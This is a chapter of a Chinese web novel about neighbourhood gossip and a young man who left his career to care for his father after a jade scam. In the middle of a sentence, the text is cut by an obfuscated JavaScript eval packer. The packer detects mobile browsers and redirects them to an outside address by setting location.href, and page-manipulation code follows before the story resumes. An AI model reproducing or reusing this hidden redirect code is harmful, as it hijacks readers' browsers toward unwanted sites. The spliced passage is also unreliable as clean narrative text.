常乐正要绕道走,远远地听见有人在大声招呼:“噫,常乐,易诚,你们俩怎么走一块儿了?” 常乐头皮一麻,一转头,就看到翠姨那张喜气洋洋的脸。 旁边还站着她的儿子周俊臻。 周俊臻比他俩大三岁,现在在杭城一家大名鼎鼎的大厂工作,据说年薪五十万起步。 翠姨老喜欢炫耀儿子的工作,又不喜欢听别人提“大厂”这个词,每次都要极力纠正:“他们单位啊,福利待遇好着呢……他们单位是上市公司呢……他们单位啊……” 果然,常乐还没走近,就听见她在跟别人吹嘘:“听说他们单位啊,现在只招清北毕业生,连国外回来的都看不上呢,啧啧啧……” 周俊臻面露尴尬,试图阻止她:“妈,别瞎说,没这回事。” “俊臻哥,回啦?”常乐和易诚跟他打招呼,适时地替他解了围。 周俊臻长得挺周正,穿着打扮是标准的理工男风格,不显山不露水的,跟花里胡哨的翠姨完全是两种极端。 他冲两人笑笑,顺着翠姨的话问道:“你俩在一起了?” “没有没有。”常乐赶紧撇清关系,“我们纯洁得很,别乱说。” 要是不及时澄清,明天,不,今天晚上,这个谣言就会通过这座情报站,传遍整个小区。 周俊臻推了推眼镜,笑着说:“我记得你们以前就老在一起玩,现在感情还这么好,真不错。” 常乐惊讶地瞪大眼。 老在一起玩?什么时候的事?还感情好?我跟他从小到大有过感情吗? 易诚也感到费解:“你说的是我们吗?我怎么没印象了。” “对啊。”周俊臻十分笃定,“小时候易诚玩什么,常乐都要跟着学。我记得,有次他在双杠上玩倒挂金钩,常乐非要模仿他,结果摔下来,把门牙都给摔断了。” 常乐:“……” 这跟她的记忆似乎有点出入。 周俊臻继续举例:“有次过年放鞭炮,易诚负责点火,常乐非要去凑热闹,结果鞭炮都炸了,她才起身往回跑,还摔了一跤。”他看向常乐,“你蹲在地上哭,羽绒服里的毛被炸得满天飞,你还记得吧?” 常乐:“当然记得,可是……” 怎么同一件事,在不同的人记忆里,能有这么大的偏差呢? 易诚撇过头,幽幽地看了她一眼。 眼里仿佛写了四个大字: 沉冤得雪。 常乐回瞪他一眼。 看什么看?就算这两次是我记错了,但是你把我铲飞那次,没有任何洗白的余地。 常乐干笑两声:“俊臻哥,你记性真好,这点小事都能记这么久,我早就忘了,哈哈哈……” 三人的聊天在尴尬中结束。 幸好,翠姨又扯起了新话题:“对了常乐,你姥爷是不是有个抖音号啊?我刷到他的视频了,初恋女友要办八十大寿那个。” 常乐脸色微窘,低头挠了挠耳根。 取标题的时候只想着怎么夸张怎么来,没想到,被熟人刷到还是挺羞耻的。 “林老头也在玩抖音?”旁边有个大爷挺感兴趣,掏出手机,“叫什么名字?我找找。” 翠姨记不太清:“好像叫什么、什么林教主……” 常乐哭笑不得:“林、教、头。全称是‘退休的林教头’。” 易诚和周俊臻也掏出手机,在抖音上输入这个名字—— “没有啊。”易诚摇摇头,“没找到你姥爷。” 周俊臻蹙起眉:“我这儿也没有。” “是吗?”常乐疑惑地掏出手机。难道姥爷改名字了?还是因为内容过于奇葩被销号了?不至于吧,抖音上的奇葩还少吗? 常乐点进自己的关注列表,从上往下划,还真没找到林教头的名字。 再从下往上,一个个对比,终于发现一个陌生而可疑的昵称——“苏太强”。 点进去一看,果然是姥爷。 “扑哧——”常乐憋不住笑了。 之前还信誓旦旦说自己是有底线的,眼见这两天热度下降,播放量大不如前,就暗戳戳地把昵称给改了。 看来姥爷的底线也是弹性的,为了流量可以一降再降。以后穿女仆装、跳女团舞什么的,也指日可待了。 “可能是我记错了。”常乐收起手机,一脸淡定地说,“等我回去问问他吧。” 见翠姨张了张嘴,似乎还要再问什么,常乐抢先说:“我还有点事,就先走了。” 她冲易诚使了个眼色。 易诚也冲翠姨点点头,又对周俊臻说:“改天再聊。” 终于逃离八卦中心,常乐和易诚不约而同地长舒一口气。 常乐要去的火锅店在老街,开车难,停车更难,所以两人叫了辆出租。 到那儿已经五点半了,门口三三两两地坐了几拨人。 常乐第一时间取了个号,前面只有五桌,还好。 两人取了几样小食和饮料,坐在门口等着叫号。 常乐一边嗑瓜子,一边低头研究菜单。在发现这件店除了火锅还有炒菜后,她向易 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15588626|171701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 诚提议:“要不我们点几个菜,你打包带回去给易叔叔吃?” 易诚淡淡一笑:“不用了,他在邻居家吃。” 怕常乐不明白,他解释道:“隔壁的王大妈跟我爸以前是同事,她经常喊我们去她家吃饭。有时候我要上课,或者有事出门,就会拜托她照顾一下我爸。算上伙食费,每个月给她三千块钱。” 常乐沉默片刻,收起菜单,抬眼望着易诚,说:“其实我有件事,一直想问你。” 易诚眉眼低垂,与她目光相接。 “你问吧。” “我觉得……”常乐移开视线,盯着手里的菜单,尽量用随意的口吻说,“你爸虽然需要人贴身照顾,但是你可以请一个护工啊,或者把他送到疗养院。为什么要辞掉工作,自己回来照顾呢?” 她记得,易诚大学学的是计算机专业,毕业后虽然没进大厂,但也在大城市找了份不错的工作。 抛弃大好的前途,回到这个小城市,不可惜吗? 易诚仰起头,像是在观察火锅店的招牌,又像是在思索。 常乐重新打开菜单,说:“你要是不想说就算了,我就是随便问问。” “不,我只是在想,该怎么回答。” 易诚收回视线,重新看向她。 “这要从我大四那年说起。” 大四下学期,易诚收到了一家科技公司的offer,易志刚很高兴,决定把多年的积蓄取出来,给易诚买辆车。 他四处打听该买什么车好,结果,有个所谓的朋友盯上了他这笔钱,跟一个玉石贩子合伙设了个局,诱骗他拿出所有积蓄,买了块玉石。 “十六万八,就买了块石头。”易诚摇摇头,笑容苦涩,“我听到这事都崩溃了,让他赶紧去报警,他却像走火入魔了一样,跟我说这块石头里能开出什么祖母绿。到时候不仅能给我买辆好车,还能全款买套房,我就没有后顾之忧了。” 常乐:好熟悉剧情啊…… 电光火石间,她忽然想起玉石店老板曾跟她讲过的故事:有个男人,买了块石头,切出来只有一点点玉,他出门后,就一头栽倒在地上…… 故事的主角,竟是易叔叔! “这是他第一次发病。幸好送医及时,才抢救了回来。” “那后来呢?那个骗子抓住了吗?” 易诚点点头:“我从学校赶回来,一边在医院照顾他,一边搜集证据报警,大概过了半年,案子才结束,追回了小十万。剩下的都被骗子们挥霍了。” 常乐长吁一口气:“也算是不幸中的万幸了。” 想想她自己,还有一万的工资,不知道何时能追回来呢。 易诚继续说:“一开始,我请了个护工照顾他,每天做饭、帮他擦洗、带他去做康复治疗,每个月四千,治疗加医药费三千多。说实话,光靠我的实习工资,不太够……就这么熬了几个月,眼看我就要转正了,家里突然传来消息,说我爸又发病了。” 常乐心头仿佛有块巨石,压得她喘不过气。 她有点后悔,不该在毫无心理准备的时候,聊起这么沉重的话题。 “所以,我就辞职了。”易诚耸耸肩,脸上的表情很平静,“一方面是为了省掉护工的费用,另一方面,我也很自责。我常常在想,如果我一毕业就回来照顾他,也许他就不会二次发病了。如果我平时对他多点关心,也许他就不会被骗钱了。” “你别这么想……”常乐没经历过这种事,不知道该怎么开导他,只能尽力安慰,“我觉得,易叔叔肯定不想耽误你的前程。” “我也纠结过,一边是工作,一边是亲人,到底该怎么选?” 某个深夜,易诚忽然惊醒。他发现自己不知何时起,已经被这个残酷的社会异化了。 他在这世上唯一的亲人,也是世界上最爱他的人,现在身患重病,也许所剩时日不多,而他居然还在权衡利弊、计较得失。 他为什么会变得这么冷血? 工作有那么重要吗?前途有那么重要吗? 他还年轻,人生路还很长,为什么不能空出这几年,陪父亲走完人生的最后一程呢?